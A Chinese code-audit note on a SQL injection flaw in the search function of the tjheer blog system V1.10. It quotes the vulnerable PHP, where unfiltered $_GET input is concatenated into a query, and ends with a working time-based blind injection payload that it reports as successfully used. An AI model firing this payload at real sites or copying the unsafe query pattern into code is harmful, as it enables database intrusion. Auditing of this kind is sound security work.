2017年5月2日

-----代码审计笔记

### tjheer博客系统V1.10 审计记录:

搜索框Sql注入漏洞:

search.php分析:

elseif($\_GET['leirong']=="搜类容"){

$where=" where pDesc like '%".$\_GET['name']."%' ";

$rows=fetchnzd($ziduan=" Id,pName,Author,pubTime,Class,CliCks,zaiyao,pubTime ",$table,$where,$result\_type=MYSQL\_ASSOC);

//翻页数据+翻页条

$count=count($rows);

$pageclass= "name=".$\_GET['name']."&leirong=".$\_GET['leirong']."&" ;

$Page\_size="10";

$rows=pagex($rows,$Page\_size) ; //翻页条每页数据

$key=keys($count,$Page\_size,$pageclass) ; //翻页条

转到fetchnzd函数

function fetchnzd( $ziduan=" \* ",$table,$where=" ",$result\_type=MYSQL\_ASSOC, $by=" CliCks "){

$sql="SELECT {$ziduan} FROM {$table} {$where} order by {$by} desc";

//echo $sql;

$result=mysql\_query($sql);

while($row=mysql\_fetch\_array($result,$result\_type)){

$rows[]=$row;

}

$\_SESSION["rows"]=$rows;

return $rows;

}

通过分析以上代码得到结论：

①对数据库参数$\_GET获取的值无任何过滤

②Sql语句拼接无单引号保护也无任何过滤

③存在Sql注入漏洞

Payload:leirong=%E6%90%9C%E6%A0%87%E9%A2%98&name=1%' AND (SELECT \* FROM (SELECT(SLEEP(5)))kSHr) AND '%'='

(睡眠5S)

验证:



成功利用